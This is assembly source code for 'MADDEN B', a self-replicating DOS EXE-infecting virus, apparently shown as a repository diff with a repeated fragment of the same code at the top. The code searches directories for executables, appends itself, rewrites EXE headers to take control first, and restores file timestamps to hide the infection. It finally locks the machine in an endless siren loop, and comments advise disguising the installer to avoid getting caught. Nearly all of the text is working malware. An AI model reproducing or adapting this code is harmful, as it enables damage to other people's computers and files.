mov bx,[HANDLE]
mov ax,4200H ;set file pointer to start of file
int 21H
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
shr ax,cl
mov bx,WORD PTR [FSIZE+2]
and bl,0FH
mov cl,4
shl bl,cl
add ah,bl
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
mov bx,OFFSET FINAL ;compute new initial SS
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
mov cl,4
shr bx,cl
add ax,bx
mov WORD PTR [EXE_HDR+14],ax ;and save it
mov ax,OFFSET VIRUS ;get initial IP
mov WORD PTR [EXE_HDR+20],ax ;and save it
mov ax,STACKSIZE ;get initial SP
mov WORD PTR [EXE_HDR+16],ax ;and save it
mov dx,WORD PTR [FSIZE+2]
mov ax,WORD PTR [FSIZE] ;calculate new file size
mov bx,OFFSET FINAL
add ax,bx
xor bx,bx
adc dx,bx ;put it in ax:dx
add ax,200H ;and set up the new page count
adc dx,bx ;page ct= (ax:dx+512)/512
push ax
mov cl,9
shr ax,cl
mov cl,7
shl dx,cl
add ax,dx
mov WORD PTR [EXE_HDR+4],ax ;and save it here
pop ax
and ax,1FFH ;now calculate last page size
mov WORD PTR [EXE_HDR+2],ax ;and put it here
mov ax,NUMRELS ;adjust relocatables counter
add WORD PTR [EXE_HDR+6],ax
mov cx,1CH ;and save data at start of file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
dec ax ;in order to calculate location of
dec ax ;where to add relocatables
mov bx,4 ;Location= (No in table-2)*4+Table Offset
mul bx
add ax,WORD PTR [EXE_HDR+24];table offset
mov bx,0
adc dx,bx ;dx:ax=end of old table in file
mov cx,dx
mov dx,ax
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to table end
int 21H
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
mov bx,OFFSET REL1
inc bx ;offset of REL1
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
mov bx,OFFSET REL2
add bx,3 ;offset of REL2
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
mov WORD PTR [EXE_HDR+6],ax
mov cx,8 ;and then write 8 bytes of data in file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
ret ;that's it, infection is complete!
;--------------------------------------------------------------------------
;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n-1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must
;be an even multiple of TIMECT+1.
;
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
;
SHOULDRUN:
xor ah,ah ;zero ax to start, set z flag
SR1: ret ;this gets replaced by NOP when program runs
int 1AH
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
ret ;return with z flag set if it is, else nz set
;--------------------------------------------------------------------------
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load
SETSR:
mov al,90H ;NOP code
mov BYTE PTR SR1,al ;put it in place of RET above
ret ;and return
;--------------------------------------------------------------------------
;This routine sets up the new DTA location at DTA1, and saves the location of
;the initial DTA in the variable OLDDTA.
NEW_DTA:
mov ah,2FH ;get current DTA in ES:BX
int 21H
mov WORD PTR [OLDDTA],bx ;save it here
mov ax,es
mov WORD PTR [OLDDTA+2],ax
mov ax,cs
mov es,ax ;set up ES
mov dx,OFFSET DTA1 ;set new DTA offset
mov ah,1AH
int 21H ;and tell DOS where we want it
ret
;--------------------------------------------------------------------------
;This routine reverses the action of NEW_DTA and restores the DTA to its
;original value.
RESTORE_DTA:
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
mov ax,WORD PTR [OLDDTA+2]
mov ds,ax
mov ah,1AH
int 21H ;and tell DOS where to put it
mov ax,cs ;restore ds before exiting
mov ds,ax
ret
;--------------------------------------------------------------------------
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle
;it was opened under in HANDLE. The file path and name is in USEFILE.
SAVE_ATTRIBUTE:
mov ah,43H ;get file attr
mov al,0
mov dx,OFFSET USEFILE
int 21H
mov [FATTR],cl ;save it here
mov ah,43H ;now set file attr to r/w
mov al,1
mov dx,OFFSET USEFILE
mov cl,0
int 21H
mov dx,OFFSET USEFILE
mov al,2 ;now that we know it's r/w
mov ah,3DH ;we can r/w access open file
int 21H
mov [HANDLE],ax ;save file handle here
mov ah,57H ;and get the file date and time
xor al,al
mov bx,[HANDLE]
int 21H
mov [FTIME],cx ;and save it here
mov [FDATE],dx ;and here
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
mov WORD PTR [FSIZE+2],ax ;search routine
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
mov WORD PTR [FSIZE],ax
ret
;--------------------------------------------------------------------------
;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file
REST_ATTRIBUTE:
mov dx,[FDATE] ;get old date and time
mov cx,[FTIME]
mov ah,57H ;set file date and time to old value
mov al,1
mov bx,[HANDLE]
int 21H
mov ah,3EH
mov bx,[HANDLE] ;close file
int 21H
mov cl,[FATTR]
xor ch,ch
mov ah,43H ;Set file attr to old value
mov al,1
mov dx,OFFSET USEFILE
int 21H
ret
FINAL: ;last byte of code to be kept in virus
VSEG ENDS
;--------------------------------------------------------------------------
;Virus stack segment
VSTACK SEGMENT PARA STACK
db STACKSIZE dup (?)
VSTACK ENDS
END VIRUS ;Entry point is the virus
+771
View File
@@ -0,0 +1,771 @@
;The MADDEN B virus is an EXE file infector which can jump from directory to
;directory and disk to disk. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program,
;so that the host executes without a hint that the virus is there.
.SEQ ;segments must appear in sequential order
;to simulate conditions in actual active virus
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a
;trace. You might want to name the program something more innocuous, though.
;MADDEN B also locks the pc into a 'siren' warble when it runs out
;of files to infect. MADDEN, included in this archive plays a fast country
;song. (MADDEN will assemble to an .file using a86, then link to produce
;infected .exe form)
HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK
PGMSTR DB 'MADDENB.EXE',0
HOST:
mov ax,cs ;we want DS=CS here
mov ds,ax
mov dx,OFFSET PGMSTR
mov ah,41H
int 21H ;delete this exe file
mov ah,4CH
mov al,0
int 21H ;terminate normally
HOSTSEG ENDS
;Host program stack segment
HSTACK SEGMENT PARA STACK
db 100H dup (?) ;100 bytes long
HSTACK ENDS
;------------------------------------------------------------------------
;This is the virus itself
STACKSIZE EQU 100H ;size of stack for the virus
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
;MADDEN Virus code segment. This gains control first, before the host. As this
;ASM file is layed out, this program will look exactly like a simple program
;that was infected by the virus.
VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
;data storage area comes before any code
VIRUSID DW 0C8AAH ;identifies virus
OLDDTA DD 0 ;old DTA segment and offset
DTA1 DB 2BH dup (?) ;new disk transfer area
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
EXEFILE DB '\*.EXE',0 ;search string for an exe file
ALLFILE DB '\*.*',0 ;search string for any file
USEFILE DB 78 dup (?) ;area to put valid file path
LEVEL DB 0 ;depth to search directories for a file
HANDLE DW 0 ;file handle
FATTR DB 0 ;old file attribute storage area
FTIME DW 0 ;old file time stamp storage area
FDATE DW 0 ;old file date stamp storage area
FSIZE DD 0 ;file size storage area
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
VCODE DB 1 ;identifies this version
COUNT1 DW 8 ;delay counts used by 'siren' routine
COUNT2 DW 3
COUNT3 DW 20
COUNT4 DW 10
;--------------------------------------------------------------------------
;MADDEN B virus main routine starts here
VIRUS:
push ax ;save startup info in ax
mov ax,cs
mov ds,ax ;set up DS=CS for the virus
mov ax,es ;get PSP Seg
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
call SHOULDRUN ;run only when certain conditions met signalled by z set
jnz REL1 ;conditions aren't met, go execute host program
call SETSR ;modify SHOULDRUN procedure to activate conditions
call NEW_DTA ;set up a new DTA location
call FIND_FILE ;get an exe file to attack
jnz SIREN ;returned nz - no valid files left, siren time!
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
call INFECT ;move program code to file we found to attack
call REST_ATTRIBUTE ;restore the original file attributes and close the file
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
pop ax ;restore startup value of ax
REL1: ;relocatable marker for host stack segment
mov bx,HSTACK ;set up host program stack segment (ax=segment)
cli ;interrupts off while changing stack
mov ss,bx
REL1A: ;marker for host stack pointer
mov sp,OFFSET HSTACK
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
mov ds,WORD PTR [OLDDTA+2] ;and DS
sti ;interrupts back on
REL2: ;relocatable marker for host code segment
jmp FAR PTR HOST ;begin execution of host program
;--------------------------------------------------------------------------
;First Level - Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS
;functions 4EH and 4FH) on each level.
;
FIND_FILE:
mov al,'\' ;set up current directory path in USEFILE
mov BYTE PTR [USEFILE],al
mov si,OFFSET USEFILE+1
xor dl,dl
mov ah,47H
int 21H ;get current dir, USEFILE= \dir
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
jnz FF2 ;not the root
xor al,al ;make correction for root directory,
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
FF2: mov al,2
mov [LEVEL],al ;search 2 subdirs deep
call FINDBR ;attempt to locate a valid file
jz FF3 ;found one - exit
xor al,al ;nope - try the root directory
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
inc al ;al=1
mov [LEVEL],al ;search one subdir deep
call FINDBR ;attempt to find file
FF3:
ret ;exit with z flag set by FINDBR to indicate success/failure
;***************************************************************************
;This routine enables MADDEN B virus to sound a siren
;when it can't find a file to infect
;**************************************************************************
SIREN:
cli ;no interrupts
mov bp,15 ;we want to do hole thing 15 times
mov al,10110110xb ;set up channel 2
out 43h,al ;send it to port
AGIN: mov bx,500 ;start frequency high
BACKERX:mov ax,bx ;place it in (ax)
out 42h,al ;send LSB first
mov al,ah ;move MSB into al
out 42h,al ;send it next
in al,61h ;get value from port
or al,00000011xb ;ORing it will turn on speaker
out 61h,al ;send number
mov cx,COUNT1 ;number of delay loops
LOOPERX:loop LOOPERX ;so we can hear sound
inc bx ;increment (bx) lowers frequency pitch
cmp bx,4000 ;have we reached 4000
jnz BACKERX ;if not do again
BACKERY:mov ax,bx ;if not put (bx) in (ax)
out 42h,al ;send LSB to port
mov al,ah ;place MSB in al
out 42h,al ;send it now
in al,61h ;get value from port
or al,00000011xb ;lets OR it
out 61h,al ;time to turn on speaker
mov cx,COUNT2 ;loop count
LOOPERY:loop LOOPERY ;delay so we can hear sound
dec bx ;decrementing (bx) rises frequency pitch
cmp bx,500 ;have we reach 500
jnz BACKERY ;if not go back
mov si,COUNT3 ;place longer delay in (si)
mov di,COUNT4 ;place longer delay in (di)
push si ;push it on the stack
push di ;push it on the stack
mov si,COUNT1 ;place first delay in (si)
mov di,COUNT2 ;place second delay in (di)
mov COUNT3,si ;save 1st in COUNT3 for next exchange
mov COUNT4,di ;save 2nd in COUNT4 for next exchange
pop di ;pop longer delay off stack
pop si ;pop longer delay off stack
mov COUNT2,di ;place it in the second
mov COUNT1,si ;place it in the first
dec bp ;decrement repeat count
jnz AGIN ;if not = 0 do hole thing again
in al,61h ;we be done
and al,11111100xb ;this number will turn speaker off
out 61h,al ;send it
sti ;enable interrupts
jmp SIREN
;--------------------------------------------------------------------------
;SEARCH FUNCTION
;---------------------------------------------------------------------------
;Second Level - Find in a branch
;
;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
;routine exits with Z set and leaves the file and path in USEFILE
;
FINDBR:
call FINDEXE ;search current dir for EXE first
jnc FBE3 ;found it - exit
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
jz FBE1 ;no - exit
dec [LEVEL] ;yes - decrement LEVEL and continue
mov di,OFFSET USEFILE ;'\curr_dir' is here
mov si,OFFSET ALLFILE ;'\*.*' is here
call CONCAT ;get '\curr_dir\*.*' in USEFILE
inc di
push di ;store pointer to first *
call FIRSTDIR ;get first subdirectory
jnz FBE ;couldn't find it, so quit
FB1: ;otherwise, check it out
pop di ;strip \*.* off of USEFILE
xor al,al
stosb
mov di,OFFSET USEFILE
mov bx,OFFSET DTA2+1EH
mov al,[LEVEL]
mov dl,2BH ;compute correct DTA location for subdir name
mul dl ;which depends on the depth we're at in the search
add bx,ax ;bx points to directory name
mov si,bx
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
push di ;save position of first letter in sub_dir name
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
jz FBE2 ;if successful, exit
call NEXTDIR ;get next subdirectory in this directory
jz FB1 ;go check it if search successful
FBE: ;else exit, NZ set, cleaned up
inc [LEVEL] ;increment the level counter before exit
pop di ;strip any path or file spec off of original
xor al,al ;directory path
stosb
FBE1: mov al,1 ;return with NZ set
or al,al
ret
FBE2: pop di ;successful exit, pull this off the stack
FBE3: xor al,al ;and set Z
ret ;exit
;--------------------------------------------------------------------------
;Third Level - Part A - Find an EXE file
;
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
;with the c flag set. It will search a whole directory before giving up.
;
FINDEXE:
mov dx,OFFSET DTA1 ;set new DTA for EXE search
mov ah,1AH
int 21H
mov di,OFFSET USEFILE
mov si,OFFSET EXEFILE
call CONCAT ;set up USEFILE with '\dir\*.EXE'
push di ;save position of '\' before '*.EXE'
mov dx,OFFSET USEFILE
mov cx,3FH ;search first for any file
mov ah,4EH
int 21H
NEXTEXE:
or al,al ;is DOS return OK?
jnz FEC ;no - quit with C set
pop di
inc di
stosb ;truncate '\dir\*.EXE' to '\dir\'
mov di,OFFSET USEFILE
mov si,OFFSET DTA1+1EH
call CONCAT ;setup file name '\dir\filename.exe'
dec di
push di
call FILE_OK ;yes - is this a good file to use?
jnc FENC ;yes - valid file found - exit with c reset
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTEXE ;and go test it for validity
FEC: ;no valid file found, return with C set
pop di
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
stc
ret
FENC: ;valid file found, return with NC
pop di
ret
;--------------------------------------------------------------------------
;Third Level - Part B - Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and
;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and
;NEXTDIR, which does the search next.
;
FIRSTDIR:
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
push dx ;save it
mov ah,1AH ;set DTA
int 21H
mov dx,OFFSET USEFILE
mov cx,10H ;search for a directory
mov ah,4EH ;do search first function
int 21H
NEXTD1:
pop bx ;get pointer to search table (DTA)
or al,al ;successful search?
jnz NEXTD3 ;no, quit with NZ set
test BYTE PTR [bx+15H],10H ;is this a directory?
jz NEXTDIR ;no, find another
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
jne NEXTD2 ;no - valid directory, exit, setting Z flag
;else it was dir header entry, so fall through to next
NEXTDIR: ;second entry point for search next
call GET_DTA ;get proper DTA address again - may not be set up
push dx
mov ah,1AH ;set DTA
int 21H
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTD1 ;and loop to check the validity of the return
NEXTD2:
xor al,al ;successful exit, set Z flag
NEXTD3:
ret ;exit routine
;--------------------------------------------------------------------------
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don't want the higher level being ruined by
;corrupted data.
;
GET_DTA:
mov dx,OFFSET DTA2
mov al,2BH
mul [LEVEL]
add dx,ax ;return with dx= proper dta offset
ret
;--------------------------------------------------------------------------
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
;destination (or the first character of the second string, after moved).
;
CONCAT:
mov al,byte ptr es:[di] ;find the end of string 1
inc di
or al,al
jnz CONCAT
dec di ;di points to the null at the end
push di ;save it to return to the caller
CONCAT2:
cld
lodsb ;move second string to end of first
stosb
or al,al
jnz CONCAT2
pop di ;and restore di to point to end of string 1
ret
;--------------------------------------------------------------------------
;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c
;What makes an EXE file useable?:
; a) The signature field in the EXE header must be 'MZ'. (These
; are the first two bytes in the file.)
; b) The Overlay Number field in the EXE header must be zero.
; c) There must be room in the relocatable table for NUMRELS
; more relocatables without enlarging it.
; d) The word VIRUSID must not appear in the 2 bytes just before
; the initial CS:0000 of the test file. If it does, the virus
; is probably already in that file, so we skip it.
;
FILE_OK:
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
jc OK_END ;error in reading the file, so quit
call CHECK_SIG_OVERLAY ;is the overlay number zero?
jc OK_END ;no - exit with c set
call REL_ROOM ;is there room in the relocatable table?
jc OK_END ;no - exit
call IS_ID_THERE ;is id at CS:0000?
OK_END: ret ;return with c flag set properly
;--------------------------------------------------------------------------
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
;number is anything but zero.
CHECK_SIG_OVERLAY:
mov al,'M' ;check the signature first
mov ah,'Z'
cmp ax,WORD PTR [EXE_HDR]
jz CSO_1 ;jump if OK
stc ;else set carry and exit
ret
CSO_1: xor ax,ax
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
ret ;c is set if it's anything but 0
;--------------------------------------------------------------------------
;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
;
GET_EXE_HEADER:
mov dx,OFFSET USEFILE
mov ax,3D02H ;r/w access open file
int 21H
jc RE_RET ;error opening - C set - quit without closing
mov [HANDLE],ax ;else save file handle
mov bx,ax ;handle to bx
mov cx,1CH ;read 28 byte EXE file header
mov dx,OFFSET EXE_HDR ;into this buffer
mov ah,3FH
int 21H
RE_RET: ret ;return with c set properly
;--------------------------------------------------------------------------
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
;is >= than 4 * NUMRELS. If it is, then there is enough room
;
REL_ROOM:
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
cmp ax,4*NUMRELS ;enough room to put relocatables in?
RR_RET: ret ;exit with carry set properly
;--------------------------------------------------------------------------
;This function determines whether the word at the initial CS:0000 in USEFILE
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
;it returns c reset.
;
IS_ID_THERE:
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
add ax,WORD PTR [EXE_HDR+8] ;Header size
mov dx,16
mul dx
mov cx,dx
mov dx,ax ;cxdx = position to look for VIRUSID in file
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H
mov ah,3FH
mov bx,[HANDLE]
mov dx,OFFSET VIDC
mov cx,2 ;read 2 bytes into VIDC
int 21H
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
mov ax,[VIDC]
cmp ax,[VIRUSID] ;is it the VIRUSID?
clc
jnz II_RET ;if not, then virus is not already in this file
stc ;else it is probably there already
II_RET: ret
;--------------------------------------------------------------------------
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS. Assumes file pointer is at end of file.
SETBDY:
mov al,BYTE PTR [FSIZE]
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
jz SB_E ;all set - exit
mov cx,10H ;no - write any old bytes to even it up
sub cl,al ;number of bytes to write in cx
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
add WORD PTR [FSIZE],cx ;update FSIZE
adc WORD PTR [FSIZE+2],0
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
SB_E: ret
;--------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts
;on a paragraph boundary, and adds how many bytes are necessary to do that.
;
INFECT:
mov cx,WORD PTR [FSIZE+2]
mov dx,WORD PTR [FSIZE]
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H ;go to end of file
call SETBDY ;lengthen to a paragraph boundary if necessary
mov cx,OFFSET FINAL ;last byte of code
xor dx,dx ;first byte of code, DS:DX
mov bx,[HANDLE] ;move virus code to end of file being attacked with
mov ah,40H ;DOS write function
int 21H
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
inc bx
add dx,bx
mov bx,0
adc cx,bx ;cx:dx is that number
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to 1st relocatable
int 21H
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
mov bx,[HANDLE] ;from the EXE header
mov cx,2
mov ah,40H ;and write it to relocatable REL1+1
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
inc bx ;at FSIZE+REL1A+1
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to place to write SP to
int 21H
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
mov bx,[HANDLE] ;from EXE header
mov cx,2
mov ah,40H ;and write it where it belongs
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
add bx,1 ;at FSIZE+REL2+1 on disk
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL2+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer relavtive to start of file
int 21H
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
mov bx,[HANDLE]
mov cx,4
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
int 21H
;done writing relocatable vectors
;so now adjust the EXE header values
xor cx,cx
xor dx,dx
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to start of file
int 21H
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
shr ax,cl
mov bx,WORD PTR [FSIZE+2]
and bl,0FH
mov cl,4
shl bl,cl
add ah,bl
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
mov bx,OFFSET FINAL ;compute new initial SS
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
mov cl,4
shr bx,cl
add ax,bx
mov WORD PTR [EXE_HDR+14],ax ;and save it
mov ax,OFFSET VIRUS ;get initial IP
mov WORD PTR [EXE_HDR+20],ax ;and save it
mov ax,STACKSIZE ;get initial SP
mov WORD PTR [EXE_HDR+16],ax ;and save it
mov dx,WORD PTR [FSIZE+2]
mov ax,WORD PTR [FSIZE] ;calculate new file size
mov bx,OFFSET FINAL
add ax,bx
xor bx,bx
adc dx,bx ;put it in ax:dx
add ax,200H ;and set up the new page count
adc dx,bx ;page ct= (ax:dx+512)/512
push ax
mov cl,9
shr ax,cl
mov cl,7
shl dx,cl
add ax,dx
mov WORD PTR [EXE_HDR+4],ax ;and save it here
pop ax
and ax,1FFH ;now calculate last page size
mov WORD PTR [EXE_HDR+2],ax ;and put it here
mov ax,NUMRELS ;adjust relocatables counter
add WORD PTR [EXE_HDR+6],ax
mov cx,1CH ;and save data at start of file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
dec ax ;in order to calculate location of
dec ax ;where to add relocatables
mov bx,4 ;Location= (No in table-2)*4+Table Offset
mul bx
add ax,WORD PTR [EXE_HDR+24];table offset
mov bx,0
adc dx,bx ;dx:ax=end of old table in file
mov cx,dx
mov dx,ax
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to table end
int 21H
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
mov bx,OFFSET REL1
inc bx ;offset of REL1
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
mov bx,OFFSET REL2
add bx,3 ;offset of REL2
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
mov WORD PTR [EXE_HDR+6],ax
mov cx,8 ;and then write 8 bytes of data in file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
ret ;that's it, infection is complete!
;--------------------------------------------------------------------------
;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n-1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must
;be an even multiple of TIMECT+1.
;
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
;
SHOULDRUN:
xor ah,ah ;zero ax to start, set z flag
SR1: ret ;this gets replaced by NOP when program runs
int 1AH
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
ret ;return with z flag set if it is, else nz set
;--------------------------------------------------------------------------
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load
SETSR:
mov al,90H ;NOP code
mov BYTE PTR SR1,al ;put it in place of RET above
ret ;and return
;--------------------------------------------------------------------------
;This routine sets up the new DTA location at DTA1, and saves the location of
;the initial DTA in the variable OLDDTA.
NEW_DTA:
mov ah,2FH ;get current DTA in ES:BX
int 21H
mov WORD PTR [OLDDTA],bx ;save it here
mov ax,es
mov WORD PTR [OLDDTA+2],ax
mov ax,cs
mov es,ax ;set up ES
mov dx,OFFSET DTA1 ;set new DTA offset
mov ah,1AH
int 21H ;and tell DOS where we want it
ret
;--------------------------------------------------------------------------
;This routine reverses the action of NEW_DTA and restores the DTA to its
;original value.
RESTORE_DTA:
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
mov ax,WORD PTR [OLDDTA+2]
mov ds,ax
mov ah,1AH
int 21H ;and tell DOS where to put it
mov ax,cs ;restore ds before exiting
mov ds,ax
ret
;--------------------------------------------------------------------------
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle
;it was opened under in HANDLE. The file path and name is in USEFILE.
SAVE_ATTRIBUTE:
mov ah,43H ;get file attr
mov al,0
mov dx,OFFSET USEFILE
int 21H
mov [FATTR],cl ;save it here
mov ah,43H ;now set file attr to r/w
mov al,1
mov dx,OFFSET USEFILE
mov cl,0
int 21H
mov dx,OFFSET USEFILE
mov al,2 ;now that we know it's r/w
mov ah,3DH ;we can r/w access open file
int 21H
mov [HANDLE],ax ;save file handle here
mov ah,57H ;and get the file date and time
xor al,al
mov bx,[HANDLE]
int 21H
mov [FTIME],cx ;and save it here
mov [FDATE],dx ;and here
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
mov WORD PTR [FSIZE+2],ax ;search routine
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
mov WORD PTR [FSIZE],ax
ret
;--------------------------------------------------------------------------
